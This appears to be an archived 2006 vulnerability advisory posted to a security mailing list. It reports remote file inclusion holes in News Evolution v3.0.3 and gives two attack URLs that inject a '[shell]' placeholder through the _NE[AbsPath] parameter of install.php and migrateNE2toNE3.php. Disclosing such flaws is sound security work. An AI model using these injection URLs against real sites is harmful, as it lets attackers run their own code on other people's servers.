Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Timesheet 1.2.1 Blind SQL Injection Vulnerability

PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit

From:	erne_(at)_ernealizm.com <erne_(at)_ernealizm.com>
Date:	09.09.2006
Subject:	News Evolution v3.0.3 - Remote File Include Vulnerabilities

# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----

# News Evolution v3.0.3 - Remote File Include Vulnerabilities

# site    : http://www.comscripts.com/jump.php?action=script&id=825

# Script  :  News Evolution v3.0.3

# Credits : ERNE

# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack

# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner

# Vulnerable :

    http://www.site.com/[path]/install.php?_NE[AbsPath]=[shell]
  
    http://www.site.com/[path]/migrateNE2toNE3.php?_NE[AbsPath]=[shell]